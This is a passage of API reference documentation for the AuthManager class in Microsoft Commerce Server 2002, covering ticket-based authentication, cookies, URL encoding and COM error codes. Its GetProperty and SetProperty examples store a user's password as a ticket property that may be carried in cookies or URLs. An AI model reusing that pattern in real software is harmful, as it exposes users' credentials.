DictionaryXMLTransforms | Apartment-threaded object that transforms data in a Dictionary object into Extensible Markup Language (XML), and XML data into a Dictionary object.
DictionaryXMLTransformsFreeThreaded | Free-threaded object that transforms data in a Dictionary object into Extensible Markup Language (XML), and XML data into a Dictionary object in a free threaded environment.
MessageManager | Stores text strings in multiple languages. One usage involves the Order Processing pipeline (OPP) components describing error conditions generated during order form processing.
MtsPipeline | Runs a non-transacted Microsoft Commerce Server 2002 pipeline.
MtsTxPipeline | Runs a transacted Microsoft Commerce Server 2002 pipeline.
OrderPipeline | Runs a Microsoft Commerce Server 2002 pipeline, and is particularly useful in the Content Selection Framework.
PooledPipeline | Runs a non-transacted Microsoft Commerce Server 2002 pipeline that uses COM+ object pooling for better performance.
PooledTxPipeline | Runs a transacted Microsoft Commerce Server 2002 pipeline that uses COM+ object pooling for better performance.


AuthManager Class (PIA)

Use this object to perform user identification and authentication, and to manage user security information. This object also contains methods for cookie and cookieless browsing.

Methods

Method | Description
GenerateEncryptionKey | Generates an encryption key for the administration of cookie data. Use this method in administration or setup components only.
GetProperty | Retrieves the specified custom property stored in a cookie or query string.
GetURL | Generates a Uniform Resource Locator (URL) containing optional name/value pairs.
GetUserID | Retrieves the unique ID for the current user.
GetUserIDFromCookie | Retrieves a user ID from a cookie.
Initialize | Initializes the AuthManager object by caching all the required site configuration resource properties.
IsAuthenticated | Indicates whether or not a user is currently authenticated.
Refresh | Updates the cached site configuration resource properties after any of the properties have been changed.
SetAuthTicket | Generates an encrypted AuthTicketType ticket for a registered user.
SetProfileTicket | Generates an encrypted ProfileTicketType ticket for an anonymous user.
SetProperty | Adds a property/value pair to a cookie or query string containing a ticket.
SetUserID | Sets the user ID property on a ticket.
UnInitialize | Removes the site-specific configuration resource properties from the cache.
URLArgs | Generates an encoded URL query string from arrays of parameter names and values.
URLShopperArgs | Generates an encoded Uniform Resource Locator (URL) query string of name/value pairs and append the ticket to the query string if a ticket is set.

Remarks

The AuthManager object identifies users and gathers information used for user authentication. The methods and properties of this object control and access the contents of cookies and encoded URL strings.

In the Commerce Server 2002 context, authentication uses tickets. A ticket is a string of property/value pairs that provide information about the user. Two types of tickets are supported. An authentication ticket, named AuthTicketType, is used for registered users while a profile ticket, named ProfileTicketType, is used for anonymous users. (These ticket types are defined in Microsoft.CommerceServer.Interop.TicketTypeEnum.) In this context, registered means a user who has provided information to a site that can be used for identification.

A user may have both types of tickets. In this case, the AuthTicketType ticket takes precedence.

A ticket contains a unique user ID, and for authentication tickets, the time of last login and a time window. For an anonymous user who allows cookies, the ProfileTicketType ticket is stored on the local computer of the user as a persistent cookie. For a registered user who allows cookies, the AuthTicketType ticket is stored in a session cookie and is valid for the duration of the session or a specified time window, and then is deleted.

If the user does not allow cookies, the ticket is placed in an encoded URL string. The URL string may be used to pass user information between pages and sites, provided all the URLs and query strings are generated by the AuthManager object.

The AuthManager object provides a transparent interface to the tickets, whether they are stored in cookies or in URL query strings, and handles encryption and decryption of the tickets to ensure security.

The AuthManager object is intended to be used only through Active Server Pages (ASP) since it depends on ASP intrinsic objects. Do not create the AuthManager object in application scope as it has dependencies on individual user sessions. The AuthManager object should be created and destroyed on each ASP page.

The methods GetUserIDFromCookie and GenerateEncryptionKey, facilitate rolling key encryption functionality. For more information about this feature, see Rolling Key Encryption for Authentication Tickets.

Any operation that requires decryption of the ticket will fail if you change the encryption key. One important instance of this behavior is with profile tickets, because they are persisted on the client computer. Hence when a user with a persisted profile ticket that was encrypted with the old key comes back to the site,the AuthManager object is not be able to decrypt this ticket. For more information about this issue, see Rolling Key Encryption for Authentication Tickets.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)


AuthManager Methods (PIA)

Methods

Method | Description
GenerateEncryptionKey | Generates an encryption key for the administration of cookie data. Use this method in administration or setup components only.
GetProperty | Retrieves the specified custom property stored in a cookie or query string.
GetURL | Generates a Uniform Resource Locator (URL) containing optional name/value pairs.
GetUserID | Retrieves the unique ID for the current user.
GetUserIDFromCookie | Retrieves a user ID from a cookie.
Initialize | Initializes the AuthManager object by caching all the required site configuration resource properties.
IsAuthenticated | Indicates whether or not a user is currently authenticated.
Refresh | Updates the cached site configuration resource properties after any of the properties have been changed.
SetAuthTicket | Generates an encrypted AuthTicketType ticket for a registered user.
SetProfileTicket | Generates an encrypted ProfileTicketType ticket for an anonymous user.
SetProperty | Adds a property/value pair to a cookie or query string containing a ticket.
SetUserID | Sets the user ID property on a ticket.
UnInitialize | Removes the site-specific configuration resource properties from the cache.
URLArgs | Generates an encoded URL query string from arrays of parameter names and values.
URLShopperArgs | Generates an encoded Uniform Resource Locator (URL) query string of name/value pairs and append the ticket to the query string if a ticket is set.


AuthManager.GenerateEncryptionKey Method (PIA)

Use this method to generate an encryption key for encrypting/decrypting the cookie and query string data used for tickets.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GenerateEncryptionKey() As String
[C#]
using Microsoft.CommerceServer.Interop;
…
string GenerateEncryptionKey();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the encryption key.

[C#] On a successful return, this method returns an encryption key for encrypting/decrypting the cookie and query string data used for tickets.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM error that this method can return.

Value | Description
&HC1004C26 | An error occurred while generating the encryption key using the CryptoAPI.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C26 | An error occurred while generating the encryption key using the Microsoft Windows CryptoAPI routines.

Remarks

This method is used by the setup and Commerce Server Site Packager components during installation, and can be used to change the encryption key at a later time.

The encryption key is stored as part of the site configuration resource properties in the Administration database.

[C#]

This method is one of the few AuthManager methods used in C# applications.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class


AuthManager.GetProperty Method (PIA)

Use this method to retrieve the value of the specified custom property from the current user ticket.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GetProperty(
  enumTicketType As TicketTypeEnum,
  propName As String
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
object GetProperty(
  TicketTypeEnum enumTicketType,
  string propName
);

Parameters

[Visual Basic .NET]
enumTicketType
A TicketTypeEnum that indicates the type of ticket that contains the property.
propName
A String that contains the name of the property to retrieve.
[C#]
enumTicketType
A Microsoft.CommerceServer.Interop.TicketTypeEnum value that indicates the type of ticket that contains the property.
propName
A string that contains the name of the property to retrieve.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the value for the specified property in the current user ticket. If the property is not found, the returned Object is empty.

[C#] This method returns an object containing a string with the value for the specified property in the current user ticket. If the property is not found, the object is set to null.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that this method can return.

Value | Description
&HC1004C27 | Invalid custom property name or value.
&HC1004C24 | This method should only be called within an ASP page.
&HC1004C25 | Requested ticket not set.
&HC1004C00 | Requested property does not exist on the ticket.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C27 | Invalid custom property name or value.
0xC1004C24 | This method should only be called within an ASP page.
0xC1004C25 | Requested ticket not set.
0xC1004C00 | Requested property does not exist on the ticket.

Remarks

The following table defines the possible values for the Microsoft.CommerceServer.Interop.TicketTypeEnum.

Name | Value | Description
ProfileTicketType | 1 | A TicketTypeEnum ticket used for an anonymous user.
AuthTicketType | 2 | A TicketTypeEnum ticket used for a registered user.

Use the SetProperty method to place custom property values in the current user ticket.

[C#]

The returned object contains valid string data only if the method completes successfully.

AuthManager myAuth = new AuthManager();

//Use enum parameter this way…

myAuth.SetProperty( TicketTypeEnum.AuthTicketType,

“myCustomProperty”,

“geeWhiz”);

[Visual Basic .NET]

Example

' sPasswordValue is a String
' oAuthManager is a Commerce AuthManager object
sPasswordValue = oAuthManager.GetProperty(AuthTicketType, _
 "Password")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class

AuthManager.SetProperty


AuthManager.GetURL Method (PIA)

Use this method to generate an encoded Uniform Resource Locator (URL) string.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GetURL(
  FileName As String,
  fCookie As Boolean,
  fSecure As Boolean,
  Optional ByRef pVarURLParameters As Object,
  Optional ByRef pVarURLValues As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop;
…
string GetURL(
  string FileName,
  bool fCookie,
  bool fSecure,
  ref object pVarURLParameters,
  ref object pVarURLValues
);

Parameters

[Visual Basic .NET]
FileName
A String that contains the file name to reference in the URL.
fCookie
A Boolean that indicates whether the user allows cookies.
fSecure
A Boolean that indicates whether the URL is secure (HTTPS versus HTTP).
pVarURLParameters
A System.Array that contains a list of parameter names to include in the URL.
pVarURLValues
A System.Array that contains values that correspond to the parameter names.
[C#]
FileName
A string that contains the file name to reference in the URL.
fCookie
A bool that indicates whether the user allows cookies.
fSecure
A bool that indicates whether the URL is secure (HTTPS versus HTTP).
oVarURLParameters
An object containing a System.Array of parameter names to include in the URL. If the array of parameters is not needed, pass a reference to an object set to DBNull.Value.
oVarURLValues
An object containing a System.Array of parameter values that correspond to the parameter names in oVarURLParameters. If the array of parameters is not needed, pass a reference to an object set to DBNull.Value.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the encoded URL.

[C#] This method returns a string with the encoded URL.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that this method can return.

Value | Description
&HC1004C24 | This method should only be called within an ASP page.
&HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C24 | This method should only be called within an ASP page.
0xC1004C10 | The Initialize method must be called with the installed site name before calling this method.

Remarks

The encoded URL includes the host name (retrieved from the site configuration), the virtual directory in which the file is stored (determined by the scripting context), the name of the file, flags for cookie support and security, and optional custom name/value pairs (for example, the name "SKU" and the stock-keeping unit (SKU) value for an item in a shopping cart).

If cookies are not allowed, the cookie flag is set to False and the ticket is appended to the URL.

Note

  • When a cached HTML segment that contains a URL with an appended ticket is retrieved, the ticket needs to be replaced with the correct one (for the current user context).

The secure flag is set to True if the referenced host is secure.

Use the URLArgs or URLShopperArgs methods to encode a URL query string out of name/value pairs.

[Visual Basic .NET]

Example

' saParameterNames and saParameterValues are System.Arrays
' sURL is a string
' oAuthManager is a Commerce AuthManager object

saParameterNames(0) = "sku"
saParameterValues(0) = "12345"
sURL = oAuthManager.GetURL("filename.asp", False, True, _
 saParameterNames, saParameterValues)

' sURL = http://host_name/virtual_directory/filename.asp?sku=12345&MSCSAuth=Q0H4SE915ASH2KC000Q79QB1E

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class


AuthManager.GetUserID Method (PIA)

Use this method to retrieve a user ID stored in a ticket.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GetUserID(
  enumTicketType As TicketTypeEnum
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
object GetUserID(
  TicketTypeEnum enumTicketType
);

Parameters

[Visual Basic .NET]
enumTicketType
A TicketTypeEnum that indicates the type of ticket that contains the user ID.
[C#]
enumTicketType
A Microsoft.CommerceServer.Interop.TicketTypeEnum value (for example, AuthTicketType or ProfileTicketType) that indicates the type of ticket that contains the user ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the user ID. If the appropriate ticket type is not found or there is no user ID, the method returns Null.

[C#] This method returns an object containing a string used to return the unique ID for the current user. If the appropriate ticket type is not found or there is no user ID, the object is set to DBNull.Value.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that this method can return.

Value | Description
&HC1004C24 | This method should only be called within an ASP page.
&HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C24 | This method should only be called within an ASP page.
0xC1004C10 | The Initialize method must be called with the installed site name before calling this method.

Remarks

The following table defines the possible values for the TicketType.

Name | Value | Description
ProfileTicketType | 1 | A Profile ticket used for an anonymous user.
AuthTicketType | 2 | An Auth ticket used for a registered user.

If the ticket type is AuthTicketType and the ticket has expired, the ticket will be deleted and the return value will be as if there was no ticket.

If the ticket type is AuthTicketType and the ticket is within five minutes of expiring, the last login time is refreshed to the current time, allowing an additional period for the ticket to be valid.

[Visual Basic .NET]

Example

' oUserID is an Object
' oAuthManager is a Commerce AuthManager object
oUserID = oAuthManager.GetUserID(ProfileTicketType)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class


AuthManager.GetUserIDFromCookie Method (PIA)

Use this method to retrieve a user ID stored in a cookie.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GetUserIDFromCookie(
  cookieData As String
) As String
[C#]
using Microsoft.CommerceServer.Interop;
…
string GetUserIDFromCookie(
  string cookieData
);

Parameters

[Visual Basic .NET]
cookieData
A String that contains the cookie.
[C#]
cookieData
A string that contains the cookie.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the user ID.

[C#] This method returns a string containing the user ID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM error that this method can return.

Value | Description
&HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C10 | The Initialize method must be called with the installed site name before calling this method.

Remarks

The cookie data is always URL decoded.

Commerce Server 2002 Analysis applications use this method to extract user IDs from cookies found in Internet Information Services (IIS) log files.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class


AuthManager.Initialize Method (PIA)

Use this method to initialize the AuthManager object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub Initialize(
  bstrSiteName As String
)
[C#]
using Microsoft.CommerceServer.Interop;
…
void Initialize(
  string strSiteName
);

Parameters

[Visual Basic .NET]
bstrSiteName
A String that contains the name of the Commerce Server 2002 Web site.
[C#]
strSiteName
A string that contains the name of the Commerce Server 2002 Web site.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The AuthManager Object must be properly initialized to a valid site name immediately after creating the object and before any other AuthManager object method is used.

The first time any AuthManager object uses this method, it connects to the Administration database and caches the site configuration data using the SiteConfig object. When subsequent AuthManager objects call this method the data is read from the cache.

Use the Refresh method to update the site configuration data after any of the properties have been changed.

Use the UnInitialize method to delete the site-specific configuration resource properties from the cache when the site is no longer valid.

It is suggested that you instantiate and initialize the AuthManager object in the Global.asax file to make sure at least one instance of the object exists, and to ensure that the dynamic-link library (DLL) is loaded in memory and not flushed out by Internet Information Services (IIS) for performance reasons. This AuthManager object should not be used elsewhere. A separate instance of the AuthManager object must be created and destroyed on each ASP page.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class


AuthManager.IsAuthenticated Method (PIA)

Use this method to determine whether the current user has a valid AuthTicketType ticket. This method also allows the determination of whether the user has been authenticated within a specified period of time.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function IsAuthenticated(
  Optional TimeWindow As Integer
) As Boolean
[C#]
using Microsoft.CommerceServer.Interop;
…
bool IsAuthenticated(
  int TimeWindow
);

Parameters

[Visual Basic .NET]
TimeWindow
An optional Integer that contains a time period in minutes. The default value is 0.
[C#]
TimeWindow
An int that contains a time period in minutes. For additional information, see the Remarks section.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Boolean that indicates the authentication status of the current user.

[C#] This method returns a Boolean value indicating whether the user is authenticated.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that this method can return.

Value | Description
&HC1004C24 | This method should only be called within an ASP page.
&HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C24 | This method should only be called within an ASP page.
0xC1004C10 | The Initialize method must be called with the installed site name before calling this method.

Remarks

An AuthTicketType ticket contains the time the user last logged in and a time window of validity. The ticket is no longer valid if the time since the last login has exceeded the time window specified in the SetAuthTicket method when the ticket was generated.

The time window parameter, TimeWindow, of this method allows checking whether the time since the user last logged in has exceeded a shorter time interval than the time window specified by the SetAuthTicket method. A value of zero (0) is equivalent to setting the time window to the same value as specified in the SetAuthTicket method.

This method returns False if the user does not have an AuthTicketType ticket, the ticket is invalid, or the time since the user last logged in has exceeded the specified time window.

If the ticket is within five minutes of expiring, the last login time is refreshed to the current time, allowing an additional period for the ticket to be valid.

Ensure a log-off page is created and called for any logged-in user. The log-off page should either expire the AuthTicketType cookie or clear its contents.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class


AuthManager.Refresh Method (PIA)

Use this method to update the cached site configuration resource properties after any of the properties have been changed.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub Refresh(
  bstrSiteName As String
)
[C#]
using Microsoft.CommerceServer.Interop;
…
void Refresh(
  string strSiteName
);

Parameters

[Visual Basic .NET]
bstrSiteName
A String that contains the site name.
[C#]
strSiteName
A string that contains the site name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method should be called immediately after changing any of the authentication related site configuration resource properties. Also, use this method when switching between Active Server Pages (ASP) and Microsoft Visual Basic Scripting Edition (VBScript) files and updating the site configuration properties.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class


AuthManager.SetAuthTicket Method (PIA)

Use this method to set an encrypted AuthTicketType ticket for a registered user.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub SetAuthTicket(
  UserID As String,
  fCookieSupport As Boolean,
  TimeWindow As Integer
)
[C#]
using Microsoft.CommerceServer.Interop;
…
void SetAuthTicket(
  string UserID,
  bool fCookieSupport,
  int TimeWindow
);

Parameters

[Visual Basic .NET]
UserID
A String that contains the unique ID for the current user.
fCookieSupport
A Boolean that indicates whether session cookies are supported.
TimeWindow
An Integer that defines the time window in minutes that the AuthTicketType ticket is valid.
[C#]
UserID
A string that contains the unique ID for the current user.
fCookieSupport
A bool that indicates whether session cookies are supported.
TimeWindow
An int that defines the time window in minutes that the AuthTicketType ticket is valid.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that this method can return.

Value | Description
&HC1004C23 | Invalid character (';' or '%' or '=') present in the UserID or the property name/value pair.
&HC1004C24 | This method should only be called within an ASP page.
&HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
&HC1004C40 | The ticket has reached a maximum size of 4 kilobytes.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C23 | Invalid character (';' or '%' or '=') present in the UserID or the property name/value pair.
0xC1004C24 | This method should only be called within an ASP page.
0xC1004C10 | The Initialize method must be called with the installed site name before calling this method.
0xC1004C40 | The ticket has reached a maximum size of 4 kilobytes.

Remarks

The time the user last logged in is stored in the ticket, along with the length of time from the last login that the ticket is valid.

If an AuthTicketType ticket for the user already exists and an empty string is passed in as the ID, UserID, for the user, the existing ticket is deleted.

If the current user is anonymous, use the SetProfileTicket method to generate a ProfileTicketType ticket.

[Visual Basic .NET]

Example

' oAuthManager is a Commerce AuthManager object
oAuthManager.SetAuthTicket ("JoeUser@microsoft.com", True, 30)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class

AuthManager.IsAuthenticated


AuthManager.SetProfileTicket Method (PIA)

Use this method to set a ProfileTicketType ticket for an anonymous user. An anonymous user is not registered with a site.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub SetProfileTicket(
  UserID As String,
  fCookieSupport As Boolean
)
[C#]
using Microsoft.CommerceServer.Interop;
…
void SetProfileTicket(
  string UserID,
  bool fCookieSupport
);

Parameters

[Visual Basic .NET]
UserID
A String that contains the unique ID for the current user.
fCookieSupport
A Boolean that indicates whether persistent cookies are supported.
[C#]
UserID
A string that contains the unique ID for the current user.
fCookieSupport
A bool that indicates whether persistent cookies are supported.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that this method can return.

Value | Description
&HC1004C23 | Invalid character (';' or '%' or '=') present in the UserID or the property name/value pair.
&HC1004C24 | This method should only be called within an ASP page.
&HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
&HC1004C40 | The ticket has reached a maximum size of 4 kilobytes.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C23 | Invalid character (';' or '%' or '=') present in the UserID or the property name/value pair.
0xC1004C24 | This method should only be called within an ASP page.
0xC1004C10 | The Initialize method must be called with the installed site name before calling this method.
0xC1004C40 | The ticket has reached a maximum size of 4 kilobytes.

Remarks

If a ProfileTicketType ticket for the user already exists and an empty string is passed in for the user ID, UserID, the existing ticket is deleted.

If the current user has registered, use the SetAuthTicket method to generate an AuthTicketType ticket.

[Visual Basic .NET]

Example

' oAuthManager is a Commerce AuthManager object
oAuthManager.SetProfileTicket ("74A38551-D6D8-FFD0-12BF-0A20C90DC8D1", _
 True)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class

AuthManager.IsAuthenticated


AuthManager.SetProperty Method (PIA)

Use this method to place a custom property name/value pair into the current ticket for the user.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub SetProperty(
  enumTicketType As TicketTypeEnum,
  propName As String,
  propVal As String
)
[C#]
using Microsoft.CommerceServer.Interop;
…
void SetProperty(
  TicketTypeEnum enumTicketType,
  string propName,
  string propVal
);

Parameters

[Visual Basic .NET]
enumTicketType
A TicketTypeEnum that indicates the type of ticket.
propName
A String that contains the name of the property.
propVal
A String that contains the value corresponding to the named property.
[C#]
enumTicketType
A Microsoft.CommerceServer.Interop.TicketTypeEnum that indicates the type of ticket.
propName
A string that contains the name of the property.
propVal
A string that contains the value corresponding to the named property.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that this method can return.

Value | Description
&HC1004C23 | Invalid character (';' or '=') present in the property name/value pair.
&HC1004C27 | Invalid custom property name or value.
&HC1004C24 | This method should only be called within an ASP page.
&HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
&HC1004C40 | The ticket has reached a maximum size of 4 kilobytes.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C23 | Invalid character (';' or '=') present in the property name/value pair.
0xC1004C27 | Invalid custom property name or value.
0xC1004C24 | This method should only be called within an ASP page.
0xC1004C10 | The Initialize method must be called with the installed site name before calling this method.
0xC1004C40 | The ticket has reached a maximum size of 4 kilobytes.

Remarks

Use the GetProperty method to retrieve the custom property values from the current ticket. See the Remarks section in the GetProperty topic for a discussion of using enumerator values in code.

The following table defines the possible values for the Microsoft.CommerceServer.Interop.TicketTypeEnum.

Name | Value | Description
ProfileTicketType | 1 | A Profile ticket used for an anonymous user.
AuthTicketType | 2 | An Auth ticket used for a registered user.

Note

  • A property with the name "Ticket" is used by the AuthManager object for storing Commerce Server 2002 related information. When creating a custom property, do not set the property name to "Ticket".
[Visual Basic .NET]

Example

' oAuthManager is a Commerce AuthManager object

oAuthManager.SetProperty (AuthTicketType, "Password", "MyPassword123")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class

AuthManager.GetProperty


AuthManager.SetUserID Method (PIA)

Use this method to change the user ID property on a ticket.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub SetUserID(
  enumTicketType As TicketTypeEnum,
  newUserID As String
)
[C#]
using Microsoft.CommerceServer.Interop;
…
void IMSCSAuthManager::SetUserID(
  TicketTypeEnum enumTicketType,
  string newUserID
);

Parameters

[Visual Basic .NET]
enumTicketType
A TicketTypeEnum that indicates the type of ticket that will contain the user ID.
newUserID
A String that contains the unique ID for the current user.
[C#]
enumTicketType
A Microsoft.CommerceServer.Interop.TicketTypeEnum that indicates the type of ticket that will contain the user ID.
newUserID
A string that contains the unique ID for the current user.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that this method can return.

Value | Description
&HC1004C23 | Invalid character (';' or '%' or '=') present in the UserID.
&HC1004C24 | This method should only be called within an ASP page.
&HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
&HC1004C40 | The ticket has reached a maximum size of 4 kilobytes.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C23 | Invalid character (';' or '%' or '=') present in the UserID.
0xC1004C24 | This method should only be called within an ASP page.
0xC1004C10 | The Initialize method must be called with the installed site name before calling this method.
0xC1004C40 | The ticket has reached a maximum size of 4 kilobytes.

Remarks

The value for the user ID may be the logon name for a registered user, a globally unique identifier (GUID) for an anonymous user, or any unique value.

If the appropriate ticket already exists, the value in the user ID is updated. If the ticket already exists and an empty string is passed in as the value for the user ID, newUserID, the existing ticket is deleted.

If the ticket does not exist, a ticket is created with default values for the rest of the data.

The following table defines the possible values for the Microsoft.CommerceServer.Interop.TicketTypeEnum.

Name | Value | Description
ProfileTicketType | 1 | A Profile ticket used for an anonymous user.
AuthTicketType | 2 | A Auth ticket used for a registered user.
[Visual Basic .NET]

Example

' oAuthManager is a Commerce AuthManager object

oAuthManager.SetUserID (AuthTicketType, JoeUser@microsoft.com)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class


AuthManager.UnInitialize Method (PIA)

Use this method to delete the site-specific configuration resource properties from the cache when the site is no longer valid.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub UnInitialize(
  bstrSiteName As String
)
[C#]
using Microsoft.CommerceServer.Interop;
…
void UnInitialize(
  string strSiteName,
);

Parameters

[Visual Basic .NET]
bstrSiteName
A String that contains the name of the site.
[C#]
strSiteName
A string that contains the name of the site.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that this method can return.

Value | Description
&HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C10 | The Initialize method must be called with the installed site name before calling this method.

Remarks

This method must be called to disconnect the AuthManager object cache from the specified site.

The Initialize method loads the site configuration resource properties into the cache.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class


AuthManager.URLArgs Method (PIA)

Use this method to generate a Uniform Resource Locator (URL) encoded query string of name/value pairs.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function URLArgs(
  ByRef pVarURLParameters As Object,
  ByRef pVarURLValues As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop;
…
string URLArgs(
  ref object oURLParameters,
  ref object oURLValues
);

Parameters

[Visual Basic .NET]
pVarURLParameters
A System.Array that contains the parameter names.
pVarURLValues
A System.Array that contains the values corresponding to the parameter names.
[C#]
pURLParameters
An object containing a System.Array of parameter names.
pURLValues
An object containing a System.Array of parameter values corresponding to the parameter names.

Return Values

This method returns a string that contains the resulting encoded URL query string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that this method can return.

Value | Description
&HC1004C24 | This method should only be called within an ASP page.
&HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C24 | This method should only be called within an ASP page.
0xC1004C10 | The Initialize method must be called with the installed site name before calling this method.

Remarks

This method concatenates the parameter name/value pairs into a encoded URL string. This method will fail if the two arrays containing the parameter names and values are not the same size.

The URLShopperArgs method performs the same URL encoding and additionally appends the ticket to the query string, if a ticket is set.

[C#]

The returned string contains valid data only if the method completes successfully.

[Visual Basic .NET]

Example

